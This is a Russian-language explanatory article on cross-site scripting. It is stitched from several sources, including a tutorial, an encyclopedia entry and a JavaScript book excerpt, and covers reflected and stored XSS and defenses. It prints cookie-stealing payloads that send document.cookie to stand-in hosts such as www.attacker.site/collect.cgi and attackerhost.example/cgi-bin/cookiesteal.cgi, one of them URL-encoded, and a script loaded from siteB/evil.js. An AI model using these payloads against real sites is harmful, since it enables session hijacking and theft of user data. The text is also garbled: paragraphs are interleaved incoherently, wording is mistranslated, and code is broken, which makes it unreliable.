Ори Сигал (Ory Segal)
Узнайте, как хакеры используют атаку типа "межсайтовый скриптинг", что она повреждает (а что - нет), как их определять, а также как защитить свой Web-сайт и его посетителей от подобных злоумышленных нарушений конфиденциальности и безопасности.
Межсайтовый скриптинг (cross-site scripting, или сокращенно XSS) - это одна из самых частых атак уровня приложения, которую хакеры используют для взлома Web-приложений. XSS - это атака на конфиденциальность информации клиентов определенного Web-сайта. Она может привести к полному разрушению системы безопасности, когда данные клиента крадутся и используются в дальнейшем для каких-либо целей. Большинство атак подразумевает участие двух сторон: либо злоумышленника и Web-сайт, либо злоумышленника и жертву-клиента. Однако в атаке XSS участвуют три стороны: злоумышленник, клиент и Web-сайт.
Любые входные данные должны считаться виновными, если не доказаны невинные. Все они довольно просты и должны использоваться везде, где может появиться потенциальная возможность представления данных пользователей на полученную веб-страницу. Этот скрипт уязвим для межсайтовых скриптовых атак, поскольку он вслепую печатает представленные данные формы.
Мы можем добавить проверку ввода в наш скрипт, вставив следующую строку кода перед любым выходом. Этот код исключает все, кроме букв, цифр и пробелов, из представленного ввода. Этот тип проверки ввода может быть довольно сложной задачей. Новый метод печати проверяет каждый фрагмент текста на испорченность. Эти проверки защищают вас, гарантируя, что испорченные данные, которые происходят откуда-то вне вашей программы, не используются прямо или косвенно для изменения файлов, процессов или каталогов.
Целью атаки XSS является кража с компьютера клиента файлов cookie или другой конфиденциальной информации, которая может идентифицировать клиента на Web-сайте. Располагая информацией для идентификации в качестве легального пользователя, злоумышленник может действовать на сайте в качестве такого пользователя, т.е. притворяться им. Например, при одном аудите, проводимом в большой компании, можно было с помощью атаки XSS получить частную информацию пользователя и номер его кредитной карты. Это было достигнуто путем запуска специального кода на JavaScript. Этот код был запущен в браузере жертвы (клиента), у которой были привилегии доступа на Web-сайт. Есть очень ограниченное число привилегий JavaScript, которые не дают доступ скрипта ни к чему, кроме информации, относящейся к сайту. Важно подчеркнуть, что, хотя уязвимость и существует на Web-сайте, сам он напрямую не повреждается. Но этого достаточно, чтобы скрипт собрал файлы cookie и отправил их злоумышленнику. В итоге злоумышленник получает нужные данные и может имитировать жертву.
Чтобы восстановить ваши данные, просто обработайте их с помощью регулярного выражения. Предыдущий скрипт может выглядеть так. Затем мы делаем некоторую проверку ввода данных. Когда у нас есть выходные данные, нам нужно определить, испорчена ли она. Межсайтовый скриптинг - серьезная проблема. Приложение с одним пропущенным полем формы столь же небезопасно, как и тот, который не проверяет вообще.
Межсайтовый скриптинг - одна из самых опасных и наиболее часто встречающихся уязвимостей, связанных с веб-приложениями. Чтобы предотвратить межсайтовый скриптинг, браузеры также имеют собственные фильтры, но исследователи безопасности всегда находят способы обойти эти фильтры. Уязвимость легко найти, но трудно исправлять. Вот почему он может быть найден на любом веб-сайте, если вы попробуете. В этом сообщении мы увидим, что такое сценарий межсайтового сценария и как создать фильтр для его предотвращения.
Давайте назовем атакуемый сайт следующим образом: www.vulnerable.site . В основе традиционной атаки XSS лежит уязвимый скрипт, который находится на уязвимом сайте. Этот скрипт считывает часть HTTP-запроса (обычно параметры, но иногда также HTTP-заголовки или путь) и повторяет его для ответной страницы, полностью или только часть. При этом не производится очистка запроса (т.е. не проверяется, что запрос не содержит код JavaScript или тэги HTML). Предположим, что этот скрипт называется welcome.cgi, и его параметром является имя. Его можно использовать следующим образом:
Атака на межсайтовый скриптинг - это своего рода атака на веб-приложения, в которых злоумышленники пытаются внедрить вредоносные скрипты для совершения вредоносных действий на доверенных сайтах. В межсайтовых скриптах вредоносный код выполняется со стороны браузера и затрагивает пользователей. В веб-дизайне у нас есть каскадные таблицы стилей.
Атака на межсайтовый скриптинг возникает, когда веб-приложение выполняет скрипт, который злоумышленник предоставляет конечным пользователям. Этот недостаток можно найти в любом месте приложения, в котором пользовательский ввод был выполнен, но неправильно закодирован. Если вход неправильно закодирован и дезинфицирован, этот внедренный вредоносный скрипт будет отправлен пользователям. И браузер не знает, что он не должен доверять скрипту. Когда браузер выполняет сценарий, вредоносное действие выполняется на стороне клиента.
Как этим можно злоупотребить? Злоумышленник должен суметь завлечь клиента (жертву), чтобы он щелкнул мышью ссылку, которую злоумышленник ему предоставляет. Это тщательно и злонамеренно подготовленная ссылка, которая заставляет Web-браузер жертвы обратиться к сайту (www.vulnerable.site) и выполнить уязвимый скрипт. Данные для этого скрипта содержат код на JavaScript, который получает доступ к файлам cookie, сохраненным браузером клиента для сайта www.vulnerable.site. Это допускается, поскольку браузер клиента "думает", что код на JavaScript исходит от сайта www.vulnerable.site. А модель безопасности JavaScript позволяет скриптам, исходящим от определенного сайта, получать доступ к файлам cookie, которые принадлежат этому сайту.
Вы видите окно поиска практически на всех сайтах. С помощью этого окна поиска вы можете искать все, что доступно на веб-сайте. Эта форма поиска выглядит примерно так. На веб-страницах он обычно кодируется следующим образом. Независимо от того, что ищет человек, он будет отображаться на веб-странице вместе с результатами поиска. Теперь подумайте, что произойдет, если злоумышленник пытается ввести вредоносный скрипт с этой стороны.
Если веб-приложение ничего не реализовано для кодирования ввода и фильтрации вредоносных скриптов, оно будет принимать данные как есть, а затем распечатать на веб-странице, где он будет вызываться. Итак, на месте ключевого слова это будет выглядеть так.
Ответ уязвимого сайта будет следующим:
|
Welcome! Hi alert(document.cookie) Welcome to our system ... |
Браузер клиента-жертвы интерпретирует этот запрос как HTML-страницу, содержащую часть кода на JavaScript. Этот код при выполнении получит доступ ко всем файлам cookie, принадлежащим сайту www.vulnerable.site. Следовательно, он вызовет всплывающее окно в браузере, показывающее все файлы cookie клиента, которые относятся к www.vulnerable.site.
Предположим, есть веб-сайт с функцией обмена сообщениями. На этом веб-сайте пользователи могут отправлять сообщения своим контактам. Основная форма будет выглядеть примерно так. Когда эта форма будет отправлена, сообщение будет сохранено в базе данных. Другой человек увидит сообщение, когда он откроет сообщение из папки «Входящие». Этот скрипт будет сохранен на веб-сайте в виде сообщения. Этический хакерский курс - Ресурсы.
Пример атаки с непостоянным XSSТипы межсайтовой атаки сценариев. Непостоянная межсайтовая атака сценариев. При этом данные, введенные злоумышленником, отражаются в ответе. Постоянная межсайтовая скриптовая атака. Стойкие межсайтовые скрипты также известны как хранимые межсайтовые скрипты. Каждый раз, когда пользователь открывает браузер, скрипт выполняется.
Конечно, реальная атака подразумевала бы отправку этих файлов атакующему. Для этого атакующий может создать Web-сайт (www.attacker.site) и использовать скрипт для получения файлов cookie. Вместо вызова всплывающего окна злоумышленник написал бы код, который обращается по URL-адресу к сайту www.attacker.site. В связи с этим выполняется скрипт для получения файлов cookie. Параметром для этого скрипта служат украденные файлы cookie. Таким образом, злоумышленник может получить файлы cookie с сервера www.attacker.site.
В большинстве случаев эта уязвимость существует, потому что разработчики не понимают, как это работает. Причины возникновения межсайтовых сценариев. Основной причиной атак межсайтового сценария является доверие разработчиков к пользователям. Разработчики легко думают, что пользователи никогда не попытаются выполнить что-то неправильно, поэтому они создают приложения, не прилагая дополнительных усилий для фильтрации ввода пользователя, чтобы блокировать любую злонамеренную деятельность. Другая причина заключается в том, что эта атака имеет так много вариантов.
Немедленно после загрузки этой страницы браузер выполнит вставленный туда код JavaScript и перешлет запрос скрипту collect.cgi на сайте www.attacker.site вместе со значением файлов cookie с сайта www.vulnerable.site, которые уже есть в браузере. Это подрывает безопасность файлов cookie сайта www.vulnerable.site, которые есть у клиента. Это позволяет злоумышленнику притвориться жертвой. Конфиденциальность клиента полностью нарушена.
Иногда приложение, которое правильно пытается отфильтровать любые вредоносные скрипты, запутывается и позволяет сценарий. Поэтому мы никогда не можем сказать, что сайт полностью защищен. Но мы можем сделать все возможное, чтобы отфильтровать большинство вещей, потому что необычные векторы в основном исходят от ответственных исследователей безопасности, и они также помогут вам в исправлении и улучшении вашего фильтра.
Исследователи всегда находят странные способы обхода фильтров. По крайней мере, вы будете в безопасности от сценаристов. Вы должны иметь представление о том, как нападающие вводят скрипты. Начнем с основных фильтров. Существует простое правило, в котором вам нужно следовать повсюду: кодируйте каждую дату, предоставленную пользователем.
Примечание.
Обычно вызова всплывающего окна с помощью JavaScript достаточно, чтобы продемонстрировать уязвимость сайта к атаке XSS. Если из JavaScript можно вызвать функцию Alert, то обычно нет причин, по которым вызов может не получиться. Вот почему большинство примеров атак XSS использует функцию Alert, которая очень легко позволяет определить успех атаки.
Это основные данные, которые необходимо надлежащим образом дезинфицировать, прежде чем использовать их на своем веб-сайте. Прежде всего, закодируйте все и. Эта строка также помогает, когда закодированное значение используется где-то путем его декодирования.
Но только они не помогут вам. Есть много мест, где ввод не нужен. Злоумышленник может вводить несколько функций событий для выполнения сценариев. И есть много способов, которыми злоумышленник может обойти этот фильтр. Итак, нам нужно подумать обо всех возможностях и добавить еще несколько вещей, чтобы фильтр стал сильнее.
Атака может произойти только в браузере жертвы, том же самом, который использовался для доступа к сайту (www.vulnerable.site). Атакующий должен заставить клиента получить доступ к вредоносной ссылке. Этого можно добиться несколькими способами.
- Злоумышленник посылает по электронной почте сообщение, содержащее HTML-страницу, которая заставляет браузер открыть ссылку. Для этого требуется, чтобы жертва использовала клиент электронной почты, способный работать с HTML. А средством просмотра HTML в клиенте должен быть тот же браузер, который используется для доступа к сайту www.vulnerable.site.
- Клиент посещает сайт, возможно, созданный злоумышленником, на котором ссылка на изображение или другой активный элемент HTML заставляет браузер открыть ссылку. Опять же в этом случае обязательно, чтобы для доступа и к этому сайту, и к сайту www.vulnerable.site использовался один и тот же браузер.
Вредоносный код на JavaScript может получить доступ к любой перечисленной ниже информации:
Затем он анализирует страницу и сопоставляет все теги. Межсайтовый скриптинг является одной из самых опасных уязвимостей веб-сайта. Он используется различными способами для нанесения вреда веб-пользователям. В основном он используется для атаки на захват сеанса. Хакеры всегда находят способы разделить защиту фильтра. Затем создайте список различных типов атак. Проанализируйте список и запрограммируйте функции для определения шаблона атаки и блокировки атаки.
Предотвращение атаки на межсайтовый скриптингКак владелец веб-сайта или веб-разработчик, вы несете ответственность за создание защищенного приложения, которое защищает данные пользователей, поэтому вы должны найти и исправить опасные уязвимости веб-приложений. Когда злоумышленник вводит вредоносный скрипт в динамическую форму, представленную пользователем, тогда возникает межсайтовая скриптовая атака.
- постоянные файлы cookie (сайта www.vulnerable.site), которые сохраняет браузер;
- файлы cookie в оперативной памяти (сайта www.vulnerable.site), которые поддерживаются экземпляром браузера только при просмотре сайта www.vulnerable.site;
- имена других окон, открытых для сайта www.vulnerable.site.
- любая информация, которая доступна через текущую модель DOM (из значений, кода HTML и т.д.).
Данные для идентификации, авторизации и аутентификации обычно хранятся в виде файлов cookie. Если эти файлы cookie постоянные, то жертва уязвима для атаки даже тогда, когда она не использует браузер в момент доступа к сайту www.vulnerable.site. Однако если файлы cookie - временные (например, они хранятся в оперативной памяти), то на стороне клиента должен существовать сеанс связи с сайтом www.vulnerable.site.
Если целевой веб-сайт не проверяет этот тип вредоносного кода, возможно неправильное использование пользователя. При этом изменении веб-сайт отображает вредоносный контент на странице, как если бы отображаемая информация была действительным содержимым с сайта.
Интернет-форумы и доски объявленийВредоносный скрипт, введенный злоумышленником, выполняется браузером, и данные передаются на веб-сайт хакера. Остальное - хакер, чтобы хакер мог войти на банковский веб-сайт с учетными данными жертвы. Такая ситуация может возникнуть, если. Веб-сервер не предпринимает адекватных шагов для обеспечения того, чтобы правильно закодированные страницы были сгенерированы. Вход не подлежит надлежащей проверке. . Чаще всего атакуемыми авиалиниями в Интернете являются поисковые ящики и онлайн-форумы. Вставляемый вредоносный код может нанести любой вред, украв информацию сеанса или куки.
Еще одна возможная реализация идентификационной метки - это параметр URL. В подобных случаях можно получить доступ к другим окнам, используя JavaScript следующим образом (предположим, что имя страницы с нужными параметрами URL - foobar):
|
var victim_window=open(","foobar");alert("Can access: " +victim_window.location.search) Ссылки, прикрепленные к сообщениям и электронной почтеУязвимость такого рода распространена, учитывая, что веб-дизайнер должен обладать знаниями о многих языках и технологиях. Злоумышленник может отправить пользователю электронное письмо о банковском веб-сайте. То же самое верно и на динамически сгенерированной странице, если ссылка содержит вредоносный код. Поисковые системы, которые повторяют введенное ключевое слово поиска, также уязвимы для таких атак. Это связано с тем, что вредоносный код может быть введен как часть ввода ключевого слова, который выполняется, когда пользователь отправляет поиск. Опасности могут включать доступ к нежелательным или частным регионам веб-сайта. |
Чтобы запустить скрипт на JavaScript, можно использовать множество тэгов HTML, помимо . На самом деле, вредоносный код JavaScript также можно разместить на другом сервере, а затем заставить клиента загрузить скрипт и выполнить его. Это может быть полезным, если нужно запустить большой объем кода, либо если код содержит специальные символы.
Например, в листинге 3 показан фрагмент кода, который выполняет код на целевом компьютере. Некоторые веб-сайты могут эхо вводить вместе с сообщением об ошибке, созданным с помощью проверки бизнеса. Если входная строка имеет какой-то злонамеренно разработанный скрипт, скрипт выполняется.
Лучшие практики для веб-разработчиковВведенный входной контент может содержать такую вредоносную информацию, которая может быть выполнена браузером. Это может привести к утечке критической информации из сеанса и может открыть частные веб-серверы. Не следуйте ссылкам на сайтах, которые приводят к уязвимым страницам, связанным с безопасностью, включая личную или деловую информацию, если вы специально не доверяете им. Получите список атак, а также сайты и доски, на которых они были, и будьте осторожны, если вам нужно посетить один из них.
- Отключить скрипты, когда это не требуется.
- Не доверяйте ссылкам на другие сайты на электронной почте или досках объявлений.
- Они могут содержать вредоносный код с потенциальным ущербом.
Вот несколько вариаций этих возможностей.
- Вместо ... хакеры могут использовать конструкцию . Это подходит для сайтов, которые фильтруют HTML-тэг .
- Вместо ... можно использовать конструкцию . Это хорошо в ситуации, когда код на JavaScript слишком длинный, или если он содержит запрещенные символы.
Иногда данные, внедренные в ответную страницу, находятся в платном HTML-контексте. В этом случае сначала нужно "сбежать" в бесплатный контекст, а затем предпринять атаку XSS. Например, если данные вставляются в качестве значения по умолчанию для поля формы HTML:
Уязвимый скрипт, который принимает и отражает параметрСледующий скрипт принимает параметр и отображает его на дисплее. Добавьте подтверждение ввода таким образом. Эта проверка позволяет использовать только буквенно-цифровые и пробельные символы и фильтры. Вы можете еще больше усилить проверку, добавив. Вы можете добавить проверку ввода в сценарий, вставив следующую строку кода перед любым выходом. Этот код исключает любой ввод, отличный от букв, цифр и пробелов.
Этот фрагмент кода обрабатывает испорченные данные от пользователя, обеспечивая защиту, поскольку он проверяет, что символы, которые будут напечатаны, являются только буквенно-цифровыми символами и пробелами. Атаки межсайтового скриптинга представляют собой огромный риск. Атаки могут привести к проблемам, начиная от кражи личных данных для одного пользователя и заканчивая вторжениями, которые связаны с серьезными финансовыми проблемами и проблемами безопасности для миллионов потребителей и предприятий.
А итоговый код HTML будет следующим:
|
window.open ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)"> До сих пор мы видели, что атака XSS может происходить в параметре запроса GET, на который отвечает скрипт. Но выполнить атаку можно и с помощью запроса POST, либо с использованием компонента пути запроса HTTP, и даже с помощью некоторых заголовков HTTP (например, Referer). В частности, компонент пути (path) полезен, когда страница ошибки возвращает ошибочный путь. В этом случае включение вредоносного скрипта в путь часто приводит к его выполнению. Многие Web-серверы уязвимы для этой атаки. Важно понимать, что, хотя Web-сайт и не затронут напрямую этой атакой (он продолжает нормально работать, вредоносный код на нем не выполняется, атака DoS не происходит, и данные с сайта напрямую не считываются и не подделываются), это все же брешь в системе безопасности, которую сайт предлагает своим клиентам или посетителям. Это похоже на сайт, который используется для развертывания приложения со слабыми метками безопасности. Из-за этого злоумышленник может угадать метку безопасности клиента и притвориться им (или ей). Слабым местом в приложении является скрипт, который возвращает свой параметр независимо от его значения. Хороший скрипт должен убедиться, что у параметра правильный формат, что он содержит приемлемые символы и т.д. Обычно нет причин, чтобы правильный параметр содержал тэги HTML или код JavaScript. Они должны быть удалены из параметра до того, как он будет внедрен в ответ или использован в приложении. Это позволит обеспечить безопасность. Обезопасить сайт от атак XSS можно тремя способами.
Логическим завершением защиты сайта является проверка его защищенности от атак XSS. Как и защита сайта от XSS, проверку степени защиты можно проводить вручную (трудный способ), либо с помощью автоматизированного средства оценки уязвимости Web-приложений. Такой инструмент снимет с вас нагрузку, связанную с проверкой. Эта программа перемещается по сайту и запускает все известные ей варианты для всех скриптов, которые она обнаруживает. При этом пробуются все параметры, заголовки и пути. В обоих методах каждый ввод в приложение (параметры всех скриптов, заголовки HTTP, пути) проверяется с максимально возможным количеством вариантов. И если ответная страница содержит код JavaScript в контексте, где браузер может его выполнить, то появляется сообщение об уязвимости к XSS. Например, при отправке следующего текста:
каждому параметру каждого скрипта (через браузер с возможностями работы с JavaScript, чтобы выявить простейший вид уязвимости к XSS) браузер вызовет окно JavaScript Alert, если текст интерпретирован как код JavaScript. Конечно, есть несколько вариантов. Поэтому тестировать только этот вариант недостаточно. И, как вы уже узнали, можно вставлять код JavaScript в различные поля запроса: параметры, заголовки HTTP и путь. Однако в некоторых случаях (особенно с заголовком HTTP Referer) выполнять атаку с помощью браузера неудобно. Межсайтовый скриптинг - это одна из самых частых атак уровня приложения, которую хакеры используют для взлома Web-приложений. Также она является и самой опасной. Это атака на конфиденциальность информации клиентов определенного Web-сайта. Она может привести к полному разрушению системы безопасности, когда данные клиента крадутся и используются в дальнейшем для каких-то целей. К сожалению, как поясняет эта статья, это часто делается без знаний об атакуемом клиенте или организации. Чтобы предотвратить уязвимость Web-сайтов к этим вредоносным действиям, важно, чтобы организация реализовала стратегию и онлайн-, и оффлайн-защиты. Это включает в себя средство автоматизированной проверки уязвимости, которое может протестировать на наличие всех известных уязвимостей Web-сайтов и определенных приложений (например, межсайтовый скриптинг) на сайте. Для полной онлайн-защиты также жизненно важно установить межсетевой экран, который может обнаруживать и блокировать любой тип манипуляций с кодом и данными, располагающимися на Web-серверах или за ними. |
Cross-Site Scripting или XSS. Межсайтовый скриптинг (межсайтовое выполнение сценариев).
Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя. Этот код обычно создается на языках HTML /JavaScript , но могут быть использованы VBScript, ActiveX, Java, Flash, или другие поддерживаемые браузером технологии.
Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера. Используя эти привилегии, код получает возможность читать, модифицировать или передавать важные данные, доступные с помощью браузера. У атакованного пользователя может быть скомпрометирован аккакунт (кража cookie), его браузер может быть перенаправлен на другой сервер или осуществлена подмена содержимого сервера. В результате тщательно спланированной атаки злоумышленник может использовать браузер жертвы для просмотра страниц сайта от имени атакуемого пользователя. Код может передаваться злоумышленником в URL , в заголовках HTTP запроса (Cookie , user-agent, refferer), значениях полей форм и т.д.
Существует три типа атак, приводящих к межсайтовому выполнению сценариев: non-persistent непостоянные (отраженные), persistent постоянные (сохраненные) и основанные на DOM . Основным отличием между persistent и non-persistent является то, что в отраженном варианте передача кода серверу и возврат его клиенту осуществляется в рамках одного HTTP- запроса, а в хранимом - в разных.
Осуществление непостоянной атаки требует, чтобы пользователь перешел по ссылке, сформированной злоумышленником (ссылка может быть передана по email, ICQ и т.д.). В процессе загрузки сайта код, внедренный в URL или заголовки запроса будет передан клиенту и выполнен в его браузере.
Сохраненная разновидность уязвимости возникает, когда код передается серверу и сохраняется на нем на некоторый промежуток времени. Наиболее популярными целями атак в этом случае являются форумы, почта с Web- интерфейсом и чаты. Для атаки пользователю не обязательно переходить по ссылке, достаточно посетить уязвимый сайт.
Пример. Сохраненный (persistent) вариант атаки. Многие сайты имеют доски объявлений и форумы, которые позволяют пользователям оставлять сообщения. Зарегистрированный пользователь обычно идентифицируется по номеру
сессии, сохраняемому в cookie. Если атакующий оставит сообщение, содержащее код на языке JavaScript, он получит доступ к идентификатору сессии пользователя. Пример кода для передачи cookie:
document.location= "http://attackerhost.example/cgi- bin/cookiesteal.cgi?"+document.cookie
Пример. Отраженный (non-persistent) вариант атаки. Многие серверы предоставляют пользователям возможность поиска по содержимому сервера. Как правило, запрос передается в URL и содержится в результирующей странице.
К примеру, при переходе по URL http://portal.example/search?q= ”fresh beer” пользователю будет отображена страница, содержащая результаты поиска и фразу: "По вашему запросу fresh beer найдено 0 страниц". Если в качестве искомой фразы будет передан Javascript, он выполнится в браузере пользователя. Пример:
Http://portal.example/search/?q=alert("xss")
Для сокрытия кода сценария может быть использована кодировка URLEncode
Http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E
Флэнаган Дэвид JavaScriptВыдержка из книги Флэнаган Дэвид JavaScript Полное руководство 5 издание.
Термин межсайтовый скриптинг (cross"site scripting), или XSS, относится к области компьютерной уязвимости, когда атакующий внедряет HTML теги или сценарии в документы на уязвимом вебсайте. Организация защиты от XSS атак – обычное дело для вебразработчиков, занимающихся созданием серверных сценариев. Однако программисты, разрабатывающие клиентские JavaScript сценарии, также должны знать о XSS атаках и предпринимать меры защиты от них.
Веб страница считается уязвимой для XSS атак, если она динамически создает содержимое документа на основе пользовательских данных, не прошедших предварительную обработку по удалению встроенного HTML кода. В качестве тривиального примера рассмотрим следующую веб-страницу, которая использует JavaScript сценарий, чтобы приветствовать пользователя по имени:
var name = decodeURIComponent(window.location.search.substring(6)) || ""; document.write("Привет " + name);
Во второй строке сценария вызывается метод window.location.search.substring, с помощью которого извлекается часть адресной строки, начинающаяся с символа?. Затем с помощью метода document.write() добавляется динамически сгенерированное содержимое документа. Этот сценарий предполагает, что обращение к вебстранице будет производиться с помощью примерно такого URL адреса:
Http://www.example.com/greet.html?name=Давид
В этом случае будет выведен текст «Привет Давид». Но что произойдет, если страница будет запрошена с использованием следующего URL адреса:
Http://www.example.com/greet.html?name=%3Cscript%3Ealert("Давид")%3C/script%3E
С таким содержимым URL адреса сценарий динамически сгенерирует другой сценарий (коды %3C и %3E – это угловые скобки)! В данном случае вставленный сценарий просто отобразит диалоговое окно, которое не представляет никакой опасности. Но представьте себе такой случай:
Http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E
Межсайтовый скриптинг потому так и называется, что в атаке участвует более одного сайта. Сайт B (или даже сайт C) включает специально сконструированную ссылку (подобную только что показанной) на сайт A, в которой содержится сценарий с сайта B. Сценарий evil.js размещается на сайте злоумышленника B, но теперь этот сценарий оказывается внедренным в сайт A и может делать все, что ему заблагорассудится с содержимым сайта A. Он может стереть страницу или вызвать другие нарушения в работе сайта (например, отказать в обслуживании, о чем рассказывается в следующем разделе). Это может отрицательно сказаться на посетителях сайта A. Гораздо опаснее, что такой злонамеренный сценарий может прочитать содержимое cookies, хранящихся на сайте A (возможно содержащих учетные номера или другие персональные сведения), и отправить эти данные обратно на сайт B. Внедренный сценарий может даже отслеживать нажатия клавиш и отправлять эти данные на сайт B.
Универсальный способ предотвращения XSSатак заключается в удалении HTML тегов из всех данных сомнительного происхождения, прежде чем использовать их для динамического создания содержимого документа. Чтобы исправить эту проблему в показанном ранее файле greet.html, нужно добавить следующую строку в сценарий, которая призвана удалять угловые скобки, окружающие тег :
Name = name.replace(//g, ">");
Межсайтовый скриптинг представляет собой уязвимость, глубоко уходящую корнями в архитектуру Всемирной паутины. Необходимо осознавать всю глубину этой уязвимости.